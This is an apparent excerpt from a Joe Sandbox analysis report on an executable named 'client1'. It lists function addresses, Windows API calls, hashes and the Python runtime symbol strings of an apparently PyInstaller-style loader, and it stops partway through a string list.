Instruction ID: b1739a37f4992f6b746848c27ac7417057e0e1e55ffde008eb368e8f11f59d45
Opcode Fuzzy Hash: bd665411d6c8cb657e02e9163d495b47fe1eb31481a6a537198dee777c004d3e
Instruction Fuzzy Hash: D051EA61B193C245EA78AE3998006FAE19AAF44BB4F944734DD7D877CACF7CD4018722

Function 00007FF79F63B604 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,00000000,00007FF79F63B79D), ref: 00007FF79F63B650
GetLastError.KERNEL32(?,?,?,?,00000000,00007FF79F63B79D), ref: 00007FF79F63B65A

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: ff2257711b1d275b862e663729d543ef4812b290fbf882e2e1232765a84f7875
Instruction ID: 5f155c4b525449dfabc16d6bc686e936b05c9d6be56a2bcf0d31afdc90bb181e
Opcode Fuzzy Hash: ff2257711b1d275b862e663729d543ef4812b290fbf882e2e1232765a84f7875
Instruction Fuzzy Hash: 3011B262B18BD181DA20AB35B4441A9E766AB85BF4F944331EA7D477E9CF7CD0118700

Function 00007FF79F63497C Relevance: 3.0, APIs: 2, Instructions: 40timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF79F634891), ref: 00007FF79F6349AF
SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF79F634891), ref: 00007FF79F6349C5

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: 42d85f7bbfb38a33647f37402af2049ec243a38652db21839daf1665d9964160
Instruction ID: c28e77baafd840d6b6a1853f21ae214b9dcd080fb990332cbe7c8f659b08ad54
Opcode Fuzzy Hash: 42d85f7bbfb38a33647f37402af2049ec243a38652db21839daf1665d9964160
Instruction Fuzzy Hash: A511947260C78281EA74AF61A4511BAF766EB85771FA00235E6AD819D8EF6CD044DB20

Function 00007FF79F639E18 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF79F641E42,?,?,?,00007FF79F641E7F,?,?,00000000,00007FF79F642345,?,?,?,00007FF79F642277), ref: 00007FF79F639E2E
GetLastError.KERNEL32(?,?,?,00007FF79F641E42,?,?,?,00007FF79F641E7F,?,?,00000000,00007FF79F642345,?,?,?,00007FF79F642277), ref: 00007FF79F639E38

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 875bb2537aa3df01b4a1e34b7b101e94a2dc47b4cb64fa0c1180c15e07a79d81
Instruction ID: 19b6404031add2747783e028df64db8afdda7d2ccebf9d65ef22a9341bfc207e
Opcode Fuzzy Hash: 875bb2537aa3df01b4a1e34b7b101e94a2dc47b4cb64fa0c1180c15e07a79d81
Instruction Fuzzy Hash: F5E08651F0878292FF347FB268850F5926B5F44B40BC44034C92D43252DE6CA8458730

Function 00007FF79F63A028 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF79F639EA5,?,?,00000000,00007FF79F639F5A), ref: 00007FF79F63A096
GetLastError.KERNEL32(?,?,?,00007FF79F639EA5,?,?,00000000,00007FF79F639F5A), ref: 00007FF79F63A0A0

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 649148bb364a2e2bb6c01b4b98e8ba63ccdb9764b03dbbc10b4a89a301f042aa
Instruction ID: 2210f0c6ec18eeecfef81bc4cfd7c9cdc769538a92b900b740c2422d0832fc66
Opcode Fuzzy Hash: 649148bb364a2e2bb6c01b4b98e8ba63ccdb9764b03dbbc10b4a89a301f042aa
Instruction Fuzzy Hash: 4C21C211B0C7C341FA747770A4942F9969BAF447A8F844235D93E477C2CFAEA4459320

Function 00007FF79F63B37C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F63B3A4

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 7edcb5c19051daea02f21c4053ec30bf8603933813fd22e9cae156a3527bc5bd
Instruction ID: b5a193a13d7b48370e63cf277ad17c374611f16b92cad1aa5c5fcc9b271d7ff0
Opcode Fuzzy Hash: 7edcb5c19051daea02f21c4053ec30bf8603933813fd22e9cae156a3527bc5bd
Instruction Fuzzy Hash: 8841BB3291878147EA34EB35E5401B9F76AEBD5750F900131E6AD476D5CF7CE402CB61

Function 00007FF79F627200 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF79F6272AA

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 9ca53ffba42af0d53283354c29b034d8f43de260ca55deaba02b2ea4ed6d239a
Instruction ID: aaba48ed78273238833eb8c1e2c2563056a8dc6ee45a4c99caa644b75089b6cd
Opcode Fuzzy Hash: 9ca53ffba42af0d53283354c29b034d8f43de260ca55deaba02b2ea4ed6d239a
Instruction Fuzzy Hash: 0A218521B193D145EA31BA3269447FAE65ABF45BD4FC84430EE2D87786CF7DE1418211

Function 00007FF79F63AE0C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F63AE92

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 36b0fbc90b3b462680d3b6a13c035726274d9c74de2b43bcb58660ea55cb43b3
Instruction ID: 63730c47883fcca5f8c442cb7ac1d0d8529cbffe6236c03dfad8cc0605df32aa
Opcode Fuzzy Hash: 36b0fbc90b3b462680d3b6a13c035726274d9c74de2b43bcb58660ea55cb43b3
Instruction Fuzzy Hash: F0319222A187C145EB61BB3594013F8A66AEF40BA1F910135DA3D433D3CFFDA4419731

Function 00007FF79F6354C8 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F63542D

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: be1079961907d1906d587a3e65c1e024338dd0a3e917ec7f85ba85c18500dcb2
Instruction ID: 15fc347ae576280363d2ac980cfb010aeb15619487631d56c09895f8abcbe662
Opcode Fuzzy Hash: be1079961907d1906d587a3e65c1e024338dd0a3e917ec7f85ba85c18500dcb2
Instruction Fuzzy Hash: D0118422A1C7C241EE74BF61A4012F9E2AAEF85B80FD54031EA5C57797DFBDD8108721

Function 00007FF79F64575C Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F64577F

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: bc68aba4551d34184bb05bda2552568f64e358e9307c55527e30db01171bb599
Instruction ID: 44a8cb5cefe810d6dade91abf6b13ea437ccdd4a3b9926db605ca3c2ca9ebe9c
Opcode Fuzzy Hash: bc68aba4551d34184bb05bda2552568f64e358e9307c55527e30db01171bb599
Instruction Fuzzy Hash: AA218732A18BC187DB71BF28E4403B9B7A6EB84B94F944235E66D476D9DF3DD8008B14

Function 00007FF79F62F61C Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F62F670

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: f8ccbbb08b6b64fca274b3102351a157ba9f641dbe881e0fbefe782dfe020abd
Instruction ID: 7d7071be6193a31a210b6f2e7c33f2c77c87ea4d077429a36c17e782bd0935d6
Opcode Fuzzy Hash: f8ccbbb08b6b64fca274b3102351a157ba9f641dbe881e0fbefe782dfe020abd
Instruction Fuzzy Hash: 6D01A521B187C240EA24BB7699010E9E69EFB45FE0F888631DE7C57BD6CE7CD4019711

Function 00007FF79F63DD40 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF79F63A8B6,?,?,?,00007FF79F639A73,?,?,00000000,00007FF79F639D0E), ref: 00007FF79F63DD95

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 2e0f3e4b2c9ccc38d96cb592f5054ed38be707e8bf6a1ab6843b3be497aa41a7
Instruction ID: 759ff3523cf500773aa47cd43d58c483f52b5daeafbc5732d7f1b4788e0dabf0
Opcode Fuzzy Hash: 2e0f3e4b2c9ccc38d96cb592f5054ed38be707e8bf6a1ab6843b3be497aa41a7
Instruction Fuzzy Hash: 7CF04F54B1978A41FEB57A7255403F5A69E5F84B80F985630C92D86282DD9CF5508330

Function 00007FF79F63CACC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF79F62FE44,?,?,?,00007FF79F631356,?,?,?,?,?,00007FF79F632949), ref: 00007FF79F63CB0A

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: c69b2b415516246c39874758743c65376e97b2ba2b88f646b423658d781f7dfd
Instruction ID: aa05f9ea2760911250fe5ba90daae30ba66b8c2fb617f334bac014371a84969b
Opcode Fuzzy Hash: c69b2b415516246c39874758743c65376e97b2ba2b88f646b423658d781f7dfd
Instruction Fuzzy Hash: 18F05E01B0D3C245FE347AB159402F591EA5F457A0F880630E93E862C2EEACB4408231

Non-executed Functions

Function 00007FF79F623DF0 Relevance: 291.0, APIs: 55, Strings: 111, Instructions: 457libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,00007FF79F6230BE), ref: 00007FF79F623E06
GetProcAddress.KERNEL32(?,?,00000000,00007FF79F6230BE), ref: 00007FF79F623E45
GetProcAddress.KERNEL32(?,?,00000000,00007FF79F6230BE), ref: 00007FF79F623E6A
GetProcAddress.KERNEL32(?,?,00000000,00007FF79F6230BE), ref: 00007FF79F623E8F
GetProcAddress.KERNEL32(?,?,00000000,00007FF79F6230BE), ref: 00007FF79F623EB7
GetProcAddress.KERNEL32(?,?,00000000,00007FF79F6230BE), ref: 00007FF79F623EDF
GetProcAddress.KERNEL32(?,?,00000000,00007FF79F6230BE), ref: 00007FF79F623F07
GetProcAddress.KERNEL32(?,?,00000000,00007FF79F6230BE), ref: 00007FF79F623F2F
GetProcAddress.KERNEL32(?,?,00000000,00007FF79F6230BE), ref: 00007FF79F623F57

Strings

Failed to get address for PyObject_Str, xrefs: 00007FF79F6243F9
Failed to get address for PyModule_GetDict, xrefs: 00007FF79F624331
Py_BuildValue, xrefs: 00007FF79F623FA5
PyLong_AsLong, xrefs: 00007FF79F6242ED
PyUnicode_Decode, xrefs: 00007FF79F6245E5
Py_UnbufferedStdioFlag, xrefs: 00007FF79F623F4D
PyErr_Restore, xrefs: 00007FF79F6241D5
Failed to get address for PyUnicode_DecodeFSDefault, xrefs: 00007FF79F624629
PyErr_Occurred, xrefs: 00007FF79F62415D
Failed to get address for PyUnicode_FromFormat, xrefs: 00007FF79F6245D9
GetProcAddress, xrefs: 00007FF79F623E1F
PyImport_ImportModule, xrefs: 00007FF79F624275
Failed to get address for Py_DecodeLocale, xrefs: 00007FF79F624589
PyDict_GetItemString, xrefs: 00007FF79F62410D
PyList_Append, xrefs: 00007FF79F62429D
Failed to get address for PyMarshal_ReadObjectFromString, xrefs: 00007FF79F624539
Failed to get address for PyErr_Clear, xrefs: 00007FF79F624151
Failed to get address for PyErr_Restore, xrefs: 00007FF79F6241F1
Failed to get address for PyObject_CallFunction, xrefs: 00007FF79F624359
Failed to get address for PyErr_Occurred, xrefs: 00007FF79F624179
Py_IncRef, xrefs: 00007FF79F62401D
Py_DecodeLocale, xrefs: 00007FF79F62456D
PySys_SetPath, xrefs: 00007FF79F6244CD
Failed to get address for Py_DecRef, xrefs: 00007FF79F623FE9
PyList_New, xrefs: 00007FF79F6242C5
Py_FileSystemDefaultEncoding, xrefs: 00007FF79F623E3B
PyErr_NormalizeException, xrefs: 00007FF79F6241FD
PyUnicode_FromString, xrefs: 00007FF79F624545
Failed to get address for PyMem_RawFree, xrefs: 00007FF79F6245B1
Py_SetPythonHome, xrefs: 00007FF79F6240E5
Failed to get address for Py_VerboseFlag, xrefs: 00007FF79F623F41
Failed to get address for PyList_New, xrefs: 00007FF79F6242E1
PyMarshal_ReadObjectFromString, xrefs: 00007FF79F62451D
Failed to get address for PyObject_SetAttrString, xrefs: 00007FF79F6243A9
PySys_GetObject, xrefs: 00007FF79F62447D
PySys_AddWarnOption, xrefs: 00007FF79F62442D
Failed to get address for Py_NoSiteFlag, xrefs: 00007FF79F623EC9
Py_DontWriteBytecodeFlag, xrefs: 00007FF79F623DFF
Failed to get address for Py_IncRef, xrefs: 00007FF79F624039
Failed to get address for PySys_SetObject, xrefs: 00007FF79F6244C1
Failed to get address for PySys_AddWarnOption, xrefs: 00007FF79F624449
PyUnicode_AsUTF8, xrefs: 00007FF79F624635
Failed to get address for PyDict_GetItemString, xrefs: 00007FF79F624129
PyUnicode_Join, xrefs: 00007FF79F62465D
Failed to get address for Py_Initialize, xrefs: 00007FF79F624061
Failed to get address for PyRun_SimpleStringFlags, xrefs: 00007FF79F624421
Failed to get address for Py_DontWriteBytecodeFlag, xrefs: 00007FF79F623E18
Failed to get address for PyErr_Fetch, xrefs: 00007FF79F6241C9
Failed to get address for PyImport_ExecCodeModule, xrefs: 00007FF79F624269
Failed to get address for Py_NoUserSiteDirectory, xrefs: 00007FF79F623EF1
PySys_SetArgvEx, xrefs: 00007FF79F624455
Failed to get address for PyErr_NormalizeException, xrefs: 00007FF79F624219
PyEval_EvalCode, xrefs: 00007FF79F6244F5
Failed to get address for Py_SetPythonHome, xrefs: 00007FF79F624101
Py_IgnoreEnvironmentFlag, xrefs: 00007FF79F623E85
Failed to get address for PySys_SetPath, xrefs: 00007FF79F6244E9
PyObject_CallFunctionObjArgs, xrefs: 00007FF79F624365
Failed to get address for Py_BuildValue, xrefs: 00007FF79F623FC1
Failed to get address for Py_UTF8Mode, xrefs: 00007FF79F623F99
Failed to get address for Py_FrozenFlag, xrefs: 00007FF79F623E7C
Py_Finalize, xrefs: 00007FF79F623FF5
PyObject_GetAttrString, xrefs: 00007FF79F6243B5
Failed to get address for PyObject_CallFunctionObjArgs, xrefs: 00007FF79F624381
Failed to get address for Py_Finalize, xrefs: 00007FF79F624011
PyErr_Fetch, xrefs: 00007FF79F6241AD
PyUnicode_DecodeFSDefault, xrefs: 00007FF79F62460D
Failed to get address for PyObject_GetAttrString, xrefs: 00007FF79F6243D1
Failed to get address for PyUnicode_Decode, xrefs: 00007FF79F624601
PyUnicode_Replace, xrefs: 00007FF79F624685
PyObject_CallFunction, xrefs: 00007FF79F62433D
PyErr_Clear, xrefs: 00007FF79F624135
Py_DecRef, xrefs: 00007FF79F623FCD
PyRun_SimpleStringFlags, xrefs: 00007FF79F624405
Failed to get address for PyImport_ImportModule, xrefs: 00007FF79F624291
PyImport_AddModule, xrefs: 00007FF79F624225
Failed to get address for PyUnicode_AsUTF8, xrefs: 00007FF79F624651
Py_NoSiteFlag, xrefs: 00007FF79F623EAD
PyMem_RawFree, xrefs: 00007FF79F624595
Py_NoUserSiteDirectory, xrefs: 00007FF79F623ED5
Failed to get address for Py_SetProgramName, xrefs: 00007FF79F6240D9
Py_SetProgramName, xrefs: 00007FF79F6240BD
Py_FrozenFlag, xrefs: 00007FF79F623E60
PyErr_Print, xrefs: 00007FF79F624185
Failed to get address for PyEval_EvalCode, xrefs: 00007FF79F624511
Failed to get address for Py_IgnoreEnvironmentFlag, xrefs: 00007FF79F623EA1
Failed to get address for PyLong_AsLong, xrefs: 00007FF79F624309
Failed to get address for PyList_Append, xrefs: 00007FF79F6242B9
Py_GetPath, xrefs: 00007FF79F624095
PySys_SetObject, xrefs: 00007FF79F6244A5
PyObject_SetAttrString, xrefs: 00007FF79F62438D
Py_SetPath, xrefs: 00007FF79F62406D
Failed to get address for PyImport_AddModule, xrefs: 00007FF79F624241
Failed to get address for Py_FileSystemDefaultEncoding, xrefs: 00007FF79F623E57
Failed to get address for Py_UnbufferedStdioFlag, xrefs: 00007FF79F623F69
PyModule_GetDict, xrefs: 00007FF79F624315
Failed to get address for Py_GetPath, xrefs: 00007FF79F6240B1
Py_VerboseFlag, xrefs: 00007FF79F623F25
Py_OptimizeFlag, xrefs: 00007FF79F623EFD
Failed to get address for Py_OptimizeFlag, xrefs: 00007FF79F623F19
Failed to get address for PyUnicode_FromString, xrefs: 00007FF79F624561
Failed to get address for PyErr_Print, xrefs: 00007FF79F6241A1
Py_UTF8Mode, xrefs: 00007FF79F623F7D
Failed to get address for Py_SetPath, xrefs: 00007FF79F624089
PyImport_ExecCodeModule, xrefs: 00007FF79F62424D
Py_Initialize, xrefs: 00007FF79F624045
Failed to get address for PySys_GetObject, xrefs: 00007FF79F624499
Failed to get address for PyUnicode_Replace, xrefs: 00007FF79F6246A1
PyUnicode_FromFormat, xrefs: 00007FF79F6245BD
PyObject_Str, xrefs: 00007FF79F6243DD
Failed to get address for PyUnicode_Join, xrefs: 00007FF79F624679
Failed to get address for PySys_SetArgvEx, xrefs: 00007FF79F624471

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for PyDict_GetItemString$Failed to get address for PyErr_Clear$Failed to get address for PyErr_Fetch$Failed to get address for PyErr_NormalizeException$Failed to get address for PyErr_Occurred$Failed to get address for PyErr_Print$Failed to get address for PyErr_Restore$Failed to get address for PyEval_EvalCode$Failed to get address for PyImport_AddModule$Failed to get address for PyImport_ExecCodeModule$Failed to get address for PyImport_ImportModule$Failed to get address for PyList_Append$Failed to get address for PyList_New$Failed to get address for PyLong_AsLong$Failed to get address for PyMarshal_ReadObjectFromString$Failed to get address for PyMem_RawFree$Failed to get address for PyModule_GetDict$Failed to get address for PyObject_CallFunction$Failed to get address for PyObject_CallFunctionObjArgs$Failed to get address for PyObject_GetAttrString$Failed to get address for PyObject_SetAttrString$Failed to get address for PyObject_Str$Failed to get address for PyRun_SimpleStringFlags$Failed to get address for PySys_AddWarnOption$Failed to get address for PySys_GetObject$Failed to get address for PySys_SetArgvEx$Failed to get address for PySys_SetObject$Failed to get address for PySys_SetPath$Failed to get address for PyUnicode_AsUTF8$Failed to get address for PyUnicode_Decode$Failed to get address for PyUnicode_DecodeFSDefault$Failed to get address for PyUnicode_FromFormat$Failed to get address for PyUnicode_FromString$Failed to get address for PyUnicode_Join$Failed to get address for PyUnicode_Replace$Failed to get address for Py_BuildValue$Failed to get address for Py_DecRef$Failed to get address for Py_DecodeLocale$Failed to get address for Py_DontWriteBytecodeFlag$Failed to get address for Py_FileSystemDefaultEncoding$Failed to get address for Py_Finalize$Failed to get address for Py_FrozenFlag$Failed to get address for Py_GetPath$Failed to get address for Py_IgnoreEnvironmentFlag$Failed to get address for Py_IncRef$Failed to get address for Py_Initialize$Failed to get address for Py_NoSiteFlag$Failed to get address for Py_NoUserSiteDirectory$Failed to get address for Py_OptimizeFlag$Failed to get address for Py_SetPath$Failed to get address for Py_SetProgramName$Failed to get address for Py_SetPythonHome$Failed to get address for Py_UTF8Mode$Failed to get address for Py_UnbufferedStdioFlag$Failed to get address for 